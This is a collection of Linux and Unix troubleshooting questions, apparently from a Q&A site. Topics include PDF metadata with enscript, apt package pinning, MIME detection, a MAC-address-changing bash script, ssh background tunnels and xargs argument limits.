text: I convert .txt files to .ps files with enscript, OK! After that I use "ps2pdf" to convert the .ps files to .pdf files. OK! And I can see: ![enter image description here](http://i.stack.imgur.com/jP7Zu.png) **Question** : What parameter do I have to use (with enscript or ps2pdf) to give the PDF's custom "$subject" name (I don't want "Enscript Output" title on the top of my PDF reader). So this is not about the filenames, this is about the "$subject" that a PDF file has.


title: Using the apt package manager refuse an update for a specific package

text: I am attempting to upgrade a few packages using the apt package manager. However there is a specific package in the list that I don't want to upgrade. In fact I don't want anyone to ever upgrade it. Is there a way from forever blocking any specific packages? In this case there's a grub update that I don't want to occur ever by myself or any other unix admins. Is this even possible? If so how do I go about doing it.


title: Why are all files detected as application/octet-stream in nemo?

text: `nemo` sees all files as `Binary (application/octet-stream)`, so these kinds of things happened:   * All files (`.mkv`, `.mp4`, `.torrent`, anything) lost their association to any program   * All `.pdf` files could not be opened by `evince` They are pdfs, however:                   $ file bla.pdf         bla.pdf: PDF document, version 1.4      `evince bla.pdf` shows:               Unable to open document “file:///tmp/bla.pdf”.     File type application/octet-stream type (application/octet-stream) is not supported      Another example:               $ file bla.mkv      bla.mkv: Matroska data      But when I right click on `nemo` > properties, it's shown as:                                ![enter image description here](http://i.stack.imgur.com/ExfF6.png)   * What's the possible cause of this problem?   * Is there any package that I should re-install? ### Info   * I'm using 64-bit ArchLinux.   * The `~/.local/share/applications/mimeapps.list` exists   * Installing `gnome-defaults-list` doesn't fix the problem.


title: Device URI for Printer

text: I have the system printer GUI installed on Centos 6.6. I added the printer (HP LaserJet Pro P1102). The model exists. The problem is that the GUI is asking for the Device URI which I'm not sure where to get it from. ![enter image description here](http://i.stack.imgur.com/Reu4w.png) The printer is connected through the USB device.


title: How to let pacman notice the ruby installed by rbenv?

text: I use `rbenv` to manage `ruby` versions. I want to install `gvim` on my ArchLinux and one of it's dependency is `ruby`. I'm already use `rbenv` to install the version 2.0.0-p247 of ruby as root user and set `rbenv global 2.0.0-p247`,but when I try `sudo pacman -S gvim`, `pacman` still install the package `ruby-2.0.0_p247-1`. How can I let `pacman` notice the `ruby` installed by `rbenv` ?


title: How Can I Back Up Win7 Before Installing Mint Alongside It

text: Don't get me wrong, I understand how to install Mint alongside Win7. However, I am wondering how to backup my Windows installation due to the fact that Win7 was preinstalled on my computer and, as such, I don't have an installation disk.


title: Language change macro in LibreOffice Writer

text: As the cursor moves in a LibreOffice Writer document, the status below the window shows the language of the characters around the cursor (e.g. _English(USA)_ ). Is there a way to run a Macro (named e.g. `LanguageChangeMacro`) when the language name shown in the statusbar changes? The macro will change the system keyboard layout to simulate a similar functionality of Ms Office Word.


title: How can I set up an offbrand display link (Trulink) to work with arch linux?

text: I recently bought a USB to DVI adapter and it works great in Windows. However, I wanted to use it on Arch since that's where I do most of my work. Unfortunately it doesn't work. I've installed all the packages, added `udl`, and blacklisted `udlfb` as directed by the wiki. However when I run `xrandr --listproviders` it returns this:               Providers: number : 1     Provider 0: id: 0x47 cap: 0xb, Source Output, Sink Output, Sink Offload       crtcs: 3 outputs: 5 associated providers: 0 name:Intel      Furthermore `dmesg` shows this for the USB device:               [ 1905.126686] usb 2-1: new high-speed USB device number 10 using ehci-pci     [ 1905.254243] usb-storage 2-1:2.0: USB Mass Storage device detected     [ 1905.254552] scsi9 : usb-storage 2-1:2.0     [ 1906.258054] scsi scan: INQUIRY result too short (5), using 36     [ 1906.258075] scsi 9:0:0:0: CD-ROM                                              PQ: 0 ANSI: 0     [ 1906.261289] sr1: scsi3-mmc drive: 8x/40x writer xa/form2 cdda tray     [ 1906.261747] sr 9:0:0:0: Attached scsi CD-ROM sr1      It looks to me like it thinks my display device is a USB-storage device. EDIT: I just now found out that the device mounts as a storage device with the drivers on it. I guess this would explain why it says it's a storage device, but it still doesn't help me solve the real problem. So, my questions are:   * Is there a way I can fool it into loading the correct driver/kernel module for it? I think the display link driver will work with it, if I can just find a way to have arch load it.   * Do I need to do something in the Xorg config? Also in case it's relevant:   * My window manager is xfce4   * I'm trying to set up a third monitor   * I have an Intel graphics card


title: Can't unlock a file for path change

text: I'm trying to order the path entries on my mac, but it seems that my `/etc/paths` file is Locked. I tried the instructions on this link, but I can't save the file as it is locked. I even tried `chflags nouchg /etc/paths` but that did not work too. Can you help me with this?


title: Appending a pem to another

text: I found a blog that helped me relay postfix through smtp.gmail.com with SASL authentication. One of the steps was:               cat /etc/ssl/certs/Thawte_Premium_Server_CA.pem | \                   sudo tee -a /etc/postfix/smtp_cacert.pem      When I read something like this, I get a little concerned, because I'm not entirely sure what happens if I append the Thawte `.pem` to mine. I built the `.pem` with:               openssl req -new -x509 -days 365 -nodes -out smtp_cacert.pem \                  -keyout smtp_cacert.key`...        * What is the risk of appending the Thawte `.pem` on the one I generated?   * What functionally is this doing to SSL when I append the Thawte `.pem` to mine?


title: How gconfd-2 and dconf-service are started in Gnome3 or other gnome-based desktop environments?

text: I want to know, at what moment and by what means the gnome2 and gnome3 configuration daemons, `gconfd-2` and `dconf-service` are started? Examples of the possible means:   * init scripts   * Xsession.d scripts   * .desktop files    * dbus activation via .service file (in this case, who triggers their startup and how) Documentation of dconf says, that dconf-service is started by dbus. Which process triggers its activation and when?


title: Web page not able to find CGI program file

text:
I was trying to invoke a CGI program via an html file. But got stuck for the error "file not found". I am trying the same program as in the following site: http://highered.mcgraw- hill.com/sites/dl/free/0070635463/372169/CGI_with_PERL.pdf Please find below the html file:                     <title>The Employee Database</title>     Appears on title bar
 Employee Form
     Appears in a large bold font
     Adds a horizontal rule     <form action=”http://localhost/~ravbholua/emp_add.pl” method=get>     Emp-id: <input type=”text” name=”empid” size=4>
     Name: <input type=”text” name=”ename” size=30>
     Designation: <input type=”text” name=”desig” size=15>
     Department: <input type=”text” name=”dept” size=15>
     Dateoffuse: <input type=”text” name=”dtbirth” size=10>
     noSalary: <input type=”text” name=”salary” size=10>

          <input type=submit value=”Add”>     The Add button is centered          </form>                To work in my system, I changed (changed than what is mentioned in the link above) the path of the CGI program file. The path is now: `http://localhost/~ravbholua/emp_add.pl` When I click on Add button, I get error that 'file not found'. Please see attachment. ![enter image description here](http://i.stack.imgur.com/dVAl8.png) Please have a look at the form (attachment). ![enter image description here](http://i.stack.imgur.com/DlV2p.png) Why it is not finding the file which is in the home directory of username "ravbholua"? These 2 attachments w'd help you to catch the issue. I have the same query in the below link but isn't resolved yet. Please look through it. http://www.linuxquestions.org/questions/linux-server-73/web-page- not-able-to-find-cgi-program-file-4175476182/


title: KDE clipboard - dictionary integration

text: I'd like to know if there is a way to integrate a dictionary with KDE's clipboard tool (Klipper). I noticed that you can "Enable clipboard actions" which allows it to do stuff like detect URL's and offer to open them in a browser. Is there a way to add an action for a dictionary look-up? I guess one solution would be to define my own trigger and command, but I want to know if there is a more streamlined way to achieve this.


title: How to install FreeBSD on Thinkpad?

text: I am trying to install FreeBSD but I am having a problem. My computer is a Thinkpad T400. I followed the instructions to install so I have downloaded the file `FreeBSD-8.3-RELEASE-amd64-dvd1.iso` and burned the ISO image to disc. When I boot with the disc it comes to the Welcome to FreeBSD screen. But when I choose option 1 for Boot FreeBSD [default] nothing happens - it just stays stuck at the welcome screen like it is frozen. Like in the instructions I tried to disable ACPI in the BIOS but I cannot find any option to do this. The closest I found is CPU Power Management which I disabled anyway. I also tried selecting option 2 - Boot FreeBSD with ACPI disabled - but nothing happens. All it does is stay stuck on the welcome screen. I know the install disk is OK because it boots on my desktop computer (I abort the install). How do I install it on my Thinkpad?


title: synchronize gnome 3 (panel) settings between computers

text: I'd like to synchronize the configuration of my gnome panel(s) between computers and keep the configuration in Git. How can I dump / import the necessary information? I already found `gconftool2 --dump` but did not find anything that looked like my panel configuration inside. **Update:** I'm using gnome3 classic mode (together with xmonad as window- manager). I found the configuration setting with the dconf-editor below org.gnome.gnome-panel.layout. It's however still cumbersome to come up with the correct shell scripting to extract and sync only the configuration that I want to share. I've opened a wishlist issue in the gnome bugzilla for a dconf sync tool: 710930


title: Lxc giving error at the time of shutdown

text: I had installed lxc on my debian wheezy. Now during shutdown it give error /var/lib/lxc/*/status : no such file or directory. it show this line for 50-60 times then got shutdown. why am i getting this error? is lxc not correctly installed? everything is working fine every lxc command is just getting executed perfectly. so why this error?


title: What is "SYSV00000000"?

text: In my `dmesg` this appeared when my window manager (xfwm4, part of XFCE) crashed:               xfwm4[3936]: segfault at 7f3c7c523770 ip 00007f3c7c523770 sp 00007ffffea1ee28 error 15 in SYSV00000000 (deleted)[7f3c7c4e8000+60000]      The same `SYSV00000000` also appears in other places (like `lsof`). So, what is this `SYSV00000000`? I Googled around and found that it's related to virtual memory, but not much else.


title: Minimalist mouse cursor theme

text: I'd like to install a X mouse cursor theme like: ![Mouse cursor X](http://i.stack.imgur.com/RKLot.png) I have Lubuntu with lxappearance, but failed to find an appropriate package for this.


title: Using Regex in vim movment

text: Is there any way to use regular expression for movement in `vim`. For example, I want to move my cursor to the first occurrence of the pattern `abc`. So can I do something analogous to `fa` but now a character replaced by a pattern? And can I use regular expressions with `t` and `f` command?


title: Why is delay after ifconfig down needed before up if changing MAC address?

text: Hi I made bash script to put down my interface, change MAC address and get it up again.               #!/bin/bash          INTERFACE_STATUS=$( cat /sys/class/net/eth0/operstate )          echo "$INTERFACE_STATUS"          if [ "$INTERFACE_STATUS" == "up" ]     then         echo  "Putting down eth0"         sudo ifconfig eth0 down         # putting down eth0 works only when I sleep 10 seconds after using command         #sleep 10         echo "$( cat /sys/class/net/eth0/operstate )"     #     TRIES=0     #     while [ "$( cat /sys/class/net/eth0/operstate )" == "up" ]     #     do     #         sleep 1     #         TRIES=$(($TRIES + 1))     #         if [ "$TRIES" == "7" ]     #         then     #             echo Could not put down eth0     #             exit 1     #         fi     #     done     fi          sudo ifconfig eth0 hw ether "91:91:91:91:91:91"          sudo ifconfig eth0 up      The problem is that it does not work. Immediately after putting down eth0 `/sys/class/net/eth0/operstate` changes to `down` but it seems like it isn't down yet. I takes like 10 seconds to put down interface eth0 so only way to make it work is to add `sleep 10` after putting down eth0. So my question is how to check if eht0 is really down? //EDIT It's like command `ifconfig eth0 up` is used to early because it never gets up with new MAC address. I need to put it down, wait 10 s, change MAC and put it back again. I suspect that putting down eth0 takes few seconds and putting it up again too early does not work. //EDIT 2 I checked MAC address again and it seems that it's changed, so now I think that it could be something with DNS because when I'm using ping on google I get unknown host. But same method with `sleep 10` does work. // EDIT 3 After using script without `sleep 10` I tried using ping:               piotrek@piotrek-Vostro-2520:~$ ping 212.77.100.101     connect: Network is unreachable     piotrek@piotrek-Vostro-2520:~$ ping -n 212.77.100.101     connect: Network is unreachable     piotrek@piotrek-Vostro-2520:~$ ifconfig      eth0      Link encap:Ethernet  HWaddr 08:3e:8e:2d:36:55               inet addr:10.36.253.122  Bcast:10.36.253.255  Mask:255.255.255.0             inet6 addr: fe80::a3e:8eff:fe2d:3655/64 Scope:Link             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1             RX packets:74297 errors:0 dropped:0 overruns:0 frame:0             TX packets:38597 errors:0 dropped:0 overruns:0 carrier:0                                                                                collisions:0 txqueuelen:1000                                                                                RX bytes:32417366 (32.4 MB)  TX bytes:5201537 (5.2 MB)0                                                                                collisions:0 txqueuelen:1000                                                                                RX bytes:32417366 (32.4 MB)  TX bytes:5201537 (5.2 MB)      //EDIT 4 SUM UP               piotrek@piotrek-Vostro-2520:~$ sudo ifconfig eth0 down; sudo ifconfig eth0 hw ether 08:3e:8e:2d:36:55 ; sudo ifconfig eth0 up     piotrek@piotrek-Vostro-2520:~$ ping -n 212.77.100.101     connect: Network is unreachable     piotrek@piotrek-Vostro-2520:~$ sudo ifconfig eth0 down; sleep 10; sudo ifconfig eth0 hw ether 08:3e:8e:2d:36:55 ; sudo ifconfig eth0 up     piotrek@piotrek-Vostro-2520:~$ ping -n 212.77.100.101     PING 212.77.100.101 (212.77.100.101) 56(84) bytes of data.     64 bytes from 212.77.100.101: icmp_req=1 ttl=246 time=8.91 ms     64 bytes from 212.77.100.101: icmp_req=2 ttl=246 time=8.76 ms     64 bytes from 212.77.100.101: icmp_req=3 ttl=246 time=8.52 ms     ^C     --- 212.77.100.101 ping statistics ---     3 packets transmitted, 3 received, 0% packet loss, time 2003ms     rtt min/avg/max/mdev = 8.523/8.734/8.917/0.194 ms      Why `sleep 10` matters? // EDIT 5 Its getting quite weird. When I use `sleep` it works fine. When I try without `sleep` it looks like IP is ok, interface is up, but network does not work. When I try put down `eth0` with `sudo ifconfig eth0 down` after few seconds my OS (ubuntu 12.10) reconects me automaticly with my _old MAC address_ and I get new IP. With second use of `sudo ifconfig eth0 down` I'm able to fully put down `eth0`.               piotrek@piotrek-Vostro-2520:~$ sudo ifconfig eth0 down; sleep 10; sudo ifconfig eth0 hw ether 08:3e:8e:2d:36:55 ; sudo ifconfig eth0 up     piotrek@piotrek-Vostro-2520:~$ sudo ifconfig     eth0      Link encap:Ethernet  HWaddr 08:3e:8e:2d:36:55               inet addr:10.36.253.241  Bcast:10.36.253.255  Mask:255.255.255.0             inet6 addr: fe80::a3e:8eff:fe2d:3655/64 Scope:Link             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1             RX packets:439341 errors:0 dropped:0 overruns:0 frame:0             TX packets:224187 errors:0 dropped:0 overruns:0 carrier:0             collisions:0 txqueuelen:1000              RX bytes:400718780 (400.7 MB)  TX bytes:26246307 (26.2 MB)          piotrek@piotrek-Vostro-2520:~$ sudo ifconfig eth0 down; sudo ifconfig eth0 hw ether 08:3e:8e:2d:36:55 ; sudo ifconfig eth0 up     piotrek@piotrek-Vostro-2520:~$ ping -n 212.77.100.101     connect: Network is unreachable     piotrek@piotrek-Vostro-2520:~$ ifconfig     eth0      Link encap:Ethernet  HWaddr 08:3e:8e:2d:36:55               inet addr:10.36.253.241  Bcast:10.36.253.255  Mask:255.255.255.0             inet6 addr: fe80::a3e:8eff:fe2d:3655/64 Scope:Link             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1             RX packets:439656 errors:0 dropped:0 overruns:0 frame:0             TX packets:224321 errors:0 dropped:0 overruns:0 carrier:0             collisions:0 txqueuelen:1000              RX bytes:400827185 (400.8 MB)  TX bytes:26267012 (26.2 MB)          piotrek@piotrek-Vostro-2520:~$ sudo ifconfig eth0 down     piotrek@piotrek-Vostro-2520:~$ ifconfig     eth0      Link encap:Ethernet  HWaddr e0:db:55:97:de:cc               inet addr:10.36.253.122  Bcast:10.36.253.255  Mask:255.255.255.0             inet6 addr: fe80::e2db:55ff:fe97:decc/64 Scope:Link             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1             RX packets:440302 errors:0 dropped:0 overruns:0 frame:0             TX packets:224862 errors:0 dropped:0 overruns:0 carrier:0             collisions:0 txqueuelen:1000              RX bytes:401129508 (401.1 MB)  TX bytes:26323176 (26.3 MB)          piotrek@piotrek-Vostro-2520:~$ sudo ifconfig eth0 down     piotrek@piotrek-Vostro-2520:~$ ifconfig eth0     eth0      Link encap:Ethernet  HWaddr e0:db:55:97:de:cc               BROADCAST MULTICAST  MTU:1500  Metric:1             RX packets:440437 errors:0 dropped:0 overruns:0 frame:0             TX packets:224881 errors:0 dropped:0 overruns:0 carrier:0             collisions:0 txqueuelen:1000              RX bytes:401147424 (401.1 MB)  TX bytes:26326068 (26.3 MB)      //EDIT 6 I've tried solution suggested by @Moreaki but the same thing happens. Script runs around one second but my network is unreachable after using it. This is the code from @Moreaki:               #!/usr/bin/env bash          INTF=eth0     INTERFACE_STATUS=$(cat /sys/class/net/${INTF}/operstate)     echo "$INTERFACE_STATUS"          if [ "$INTERFACE_STATUS" == "up" ]; then         echo "Putting down ${INTF}"         # if you need to remove all IP addresses associated with ${INTF}         sudo ip addr flush dev ${INTF}         # set the interface status down         sudo ip link set dev ${INTF} down         # flush neighbour cache         sudo ip neigh flush dev ${INTF}         # flush routing cache entries pertaining to ${INTF}         sudo ip route flush table cache dev ${INTF}         echo "New state: $(cat /sys/class/net/${INTF}/operstate)"     fi          sudo ip link set dev ${INTF} address "08:3e:8e:2d:36:55"     sudo ip link set dev ${INTF} up      After using it I get:               piotrek@piotrek-Vostro-2520:~$ ./mac_test.sh      up     Putting down eth0     New state: down      And after trying ping:               piotrek@piotrek-Vostro-2520:~$ ping google.com     ping: unknown host google.com     piotrek@piotrek-Vostro-2520:~$ ping 8.8.8.8     connect: Network is unreachable      //EDIT 7 Using routing script from @Moreaki my routing before changing mac address looks like this:               piotrek@piotrek-Vostro-2520:~$ ./routing.sh      Destination        Gateway         Source             Iface    R_Type RT_table       default            10.36.253.1     10.36.253.122      eth0            main           10.36.253.0/24     0.0.0.0         10.36.253.122      eth0            main           169.254.0.0/16     0.0.0.0         10.36.253.122      eth0            main      And after changing MAC address using **my script with 10s delay** :               piotrek@piotrek-Vostro-2520:~$ ./routing.sh      Destination        Gateway         Source             Iface    R_Type RT_table       default            10.36.253.1     10.36.253.241      eth0            main           10.36.253.0/24     0.0.0.0         10.36.253.241      eth0            main           169.254.0.0/16     0.0.0.0         10.36.253.241      eth0            main      Routing after using @Moreaki script:               piotrek@piotrek-Vostro-2520:~$ ./routing.sh     Destination        Gateway         Source             Iface    R_Type RT_table      @Moreaki also suggested to comment line `sudo ip addr flush dev ${INTF}` but I still get `connect: Network is unreachable`. My routing after using his script with commented line looks like this:               piotrek@piotrek-Vostro-2520:~$ ./routing.sh     Destination        Gateway         Source             Iface    R_Type RT_table       10.36.253.0/24     0.0.0.0         10.36.253.122      eth0


title: file has blank permissions on linux server?

text: Why would several files be empty and have blank permissions? For example,               ---------- 1 user user 0 Jun 21 00:50 site.com/html/wfc.php     ---------- 1 user user 0 Jun 21 00:50 site.com/html/llre.php


title: How to bring back SSH session that was started with the -f option (run in background)

text: I'm pretty lost on this. From the man page:                -f      Requests ssh to go to background just before command execution.      After starting SSH with the `-f` option, I have a working tunnel. But after I finish using it I don't know how to further interaction with it. For example, **I cannot close the SSH tunnel** when I finish with it. The usual methods I know don't work. For example, `jobs` returns nothing. The `~` command is not recognized (and I don't know exactly how to use it, anyway). However, `pgrep` tells me that the SSH tunnel is still running (after I have closed the terminal, etc.). How do I interact with it? How do I close it?


title: Use sudo tee with heredoc to append to existing file

text: From Generate script in bash and save it to location requiring sudo we have this method, which I like:               sudo tee "$OUTFILE" > /dev/null <<'EOF'     foo     bar     EOF      However, I would like to use that approach to append to an existing file $OUTFILE. The above method overwrites existing file $OUTFILE.


title: find + xargs: argument line too long

text: I have a line like the following:               find /foo/bar -name '*.mp4' -print0 | xargs -i {} -0 mv -t /some/path {}      but I got the following error:               xargs: argument line too long      I am confused. Isn't the use of `xargs` supposed to precisely help with this problem? **Note:** I know that I can techincally use `-exec` in find, but I would like to understand why the above fails, since my understanding is that `xargs` is supposed to know how to split the input into a manageable size to the argument that it runs. Is this not true? This is all with zsh.